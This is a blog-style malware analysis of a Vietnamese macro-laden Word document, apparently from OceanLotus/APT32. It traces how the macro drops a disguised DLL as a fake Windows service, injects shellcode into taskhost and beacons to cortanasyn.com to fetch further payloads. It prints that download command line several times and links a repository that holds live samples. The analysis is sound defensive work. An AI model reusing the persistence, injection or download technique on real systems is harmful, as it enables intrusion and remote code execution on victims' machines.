A while ago, a client informed us that they were likely being attacked. We came to assist and found out the key problem was this suspicious document. It’s written in Vietnamese with a “compelling” warning that user should click on “Enable Content”. After a few weeks analyzing the file, here is our report in details.
BEFORE YOU READ
In this article, we’ll detail the infection chains and mechanism of how malware acts as a “backdoor”. Overall, it drops a DLL file with a faked registry of a Windows service, which will be automatically run every time computer starts up by taskhost process. This DLL will change the command line of taskhost, then make it connect back to attacker’s server and download other malicious files if available (I couldn’t verify because the server is down). Yet, we can verify our theory by analyzing every byte of the malware!
- Virtual machine: Windows 7 x64
- Microsoft Office 2010
- Debugger & disassembler: IDA 7.0 (with Hex-ray decompiler), blobrunner64 (debug shellcode)
- File explorer: CFF, DIE(detect it easy)
- Process explorer: procexp64
- Network monitor: procmon, wireshark
- Stage 1: WORD file infection
- Stage 2: Drop file “main_background.png”
- Stage 3: PE file execution
STAGE 1: WORD file infection
A victim opens word file. It contains an image warning user to “enable content” in order to make the document “compatible” with the current Microsoft Word version. “Enable Content” means enabling macros - a series of commands that user can legitimately automate a repeated task, which the attacker can take advantage of.
So let’s do what attacker wants. Throw word file into virtual machine (VM) Windows 7. Open it. And “enable content”. Now we’re able to analyse macros code
Check which version of Microsoft Word is running (x32 or x64)
If we open word file with Microsoft Excel, shellcode (base64 encoded) for each Word version seems to be revealed underneath the image
Back to macros. Write shellcode of corresponding Word version into
main_background.png as a PlaySoundService DLL file for Windows services by faking its registry -
=> Drop file
main_background.png and cause its shellcode to run everytime computer starts up (since taskhost runs all DLL related to Windows services at startup)
STAGE 2: Drop file “main_background.png”
Before analysing, let’s see its behavior and check our theory by restarting VM.
Open process explorer procexp64 and check for taskhost.exe process
Hmmm… So it’s true! taskhost.exe process is infected with “evil” command line
A:\Code\Macro_NB2\Request\PostData64.exe -u https://cortanasyn.com/kirr64.png -t 2000
Maybe it’s connecting back to server
cortanasyn.com and request for another malicious file kirr64.png? Let’s analyse main_background.png shellcode to understand its tricks and confirm our assumption.
First, load main_background.png into IDA and disassemble it.
We’re brought right into DllMain function => So it’s an actual DLL file, not PNG (we can verify with DIE).
It calls sub_180001010. Let’s go there.
All small details are commented if you want to know further.
The main idea is: it allocates memory within virtual address space of parent process, writes shellcode_buffer into that memory region, then creates a thread to run shellcode.
Now we focus on what’s important. shellcode_buffer. Jump to it then.
It’s actually in .data segment but we can convert it into pseudocode using awesome IDA plugin Hex-Rays Decompiler .
It returns function sub_18001490B with a pointer to “evil” command buffer as parameter
Go to sub_18001490B. It’s a HUGE obfuscated shellcode with 1106 lines of pseudocode! I had no other option but debug main_background DLL to find out how it worked in details.
Well, let’s try debug this DLL. Attach taskhost.exe as the application to run this DLL
And set breakpoints in DllMain and other anti-debug, anti-vm functions (I found only IsDebuggerPresent in the main code, others might be hidden so I also put breakpoints in those functions in kernel32.dll and ntdll.dll).
However, after countless attempts to bypass anti-debug, vm tricks, breakpoints in DllMain and IsDebuggerPresent were never hit and it just exited immediately.
So I searched for other solutions to debug the shellcode. Thankgod, I found BlobRunner - “a simple tool to quickly debug shellcode extracted during malware analysis”
First, we need to extract (dump) shellcode_buffer.
Okay, how many bytes exactly do we need to dump? Remember this?
VirtualAllocEx() allocates memory of size 206345 = 0x32609 bytes and WriteProcessMemory writes shellcode_buffer into that allocated region. That region starts from
So we have the start address and its size, let’s dump the shellcode using IDA Python command:
open("shellcode.bin", "wb").write(GetManyBytes(0x1800148F0, int(0x32609)))
Now we can debug shellcode by loading blobrunner64.exe into IDA with shellcode.bin as a parameter (NOTE: put shellcode.bin into the same folder with blobrunner64.exe)
Put breakpoint at thread entry (0x60000 in this case). Press “C” to convert into code
Press any key in blobrunner window to continue debugging and hit breakpoint.
Now shellcode can be debugged. Unfortunately, pseudocode view does not work when I hit
So I had to do static and dynamic analysis at the same time, which means I had to analyse pseudocode of shellcode in main_background.png IDA window, and get variable’s values from debugging blobrunner64.exe IDA.
Yes, the over-obfuscated shellcode with 1106 lines..
After serveral days, here’re some important pieces I’ve found inside main_background.png shellcode:
Duplicate pointers to “evil” command line
A:\Code\Macro_NB2\Request\PostData64.exe -u https://cortanasyn.com/kirr64.png -t 200000
Call GetProcAddress to retrieve addresses of functions VirtualAlloc, VirtualProtect, ...
Call VirtualAlloc to allocate memory for “evil” command line buffer. Then call wsprintfA to write buffer into allocated region.
Call VirtualProtect to change access protection of GetCommandLineA for later use. Then call memcpy to overwrite pointer to command line string of current process with “evil” command line buffer
Here comes interesting code!
While debugging, I’ve found a pointer to data with “MZ” symbol.
Splendid. It’s the sign of an executable PE file!!
You can find out more about PE file structure and we’ll see how to dump that file and debug in Stage 3!
Back to our pseudocode, main idea is: call VirtualAlloc to allocate memory for the PE file and return pointer to that allocated region. Then call memcpy to copy headers, code segment, data segment,.. of PE file into the region through that pointer
Continue, this code in WHILE loop will parse and load functions, which PE file will later use, into allocated region (allow to execute)
Finally, this executes PE file!
STAGE 3: PE file execution
For convenient analysis, first we need to dump it!
Again, how many bytes to dump?
We can look up the bytes value in VirtualAlloc when allocating memory for the file. However, for precision, follow this tutorial and we can get exact PE file size!
After we obtain the size (0x31600) and start address of MZ header (0x1800158F9), execute IDA python command again to dump it:
open("_1800158F9.bin", "wb").write(GetManyBytes(0x1800158F9, int(0x31600)))
Check to see if it’s executable:
Yes! Now we change _1800158F9.bin into _1800158F9.exe, load it into IDA and debug as usual
Before entering into main function, it calls GetCommandlineA first in _tmainCRTStartup()
If we analyse PE code while debugging “main_background” shellcode (instead of debugging _1800158F9.exe), we can see the command line of parent process is already overwritten with the “evil” command line !!
mov cs:qword_182290, rax
Okay, the command line of parent process (taskhost.exe when startup) is infected with “evil” command line as we expected!
A:\Code\Macro_NB2\Request\PostData64.exe -u https://cortanasyn.com/kirr64.png -t 2000
Now, what to do with that command?
Move to main function, it parses arguments of command line
After a series of functions, we arrive at WinHTTP functions:
Get HTTP session handle:
Get connection handle to server name
cortanasyn.com using HTTP session handle
Create a request object kirr64.png from server
cortanasyn.com, then return REQUEST handle
WHILE loop keeps sending request for object kirr64.png, receiving response from server
cortanasyn.com, and read data (if data available)
Finally, it is true that this malware acts as a “backdoor” connecting back to server and telling its boss to send even more files. Yet, we’re still unsure about the destruction it might cause if other files can reach back to victim’s computer, since the server has been taken down. More importantly, we don’t know whether it takes advantage of a severe system vulnerability or not, because the core idea is just simply executing macros code to fake registry of a malicious DLL. If it does, hopefully it is a 0day or at least we can find out its CVE.
We look forward to hearing your feedback to this blog. Thanks for reading!
UPDATE: While wrapping up our analysis report, we also discovered another recent blog about this malware by some organization. Thanks to that blog, we finally found out the creator of this "evil" document. OceanLotus (AKA APT32) . One of the most sophisticated threat actors originating out of south east Asia targets private sectors across multiple industries, foreign governments, activists, and dissidents connected to Vietnam.
- IP: 220.127.116.11 (redirected to
- Data: %AppData%\Roaming\main_background.png
If you want to reconstruct the analysis process on your own, here is the link to our github where contains the malware, drop files, infection chains: https://github.com/cystack/word-based-malware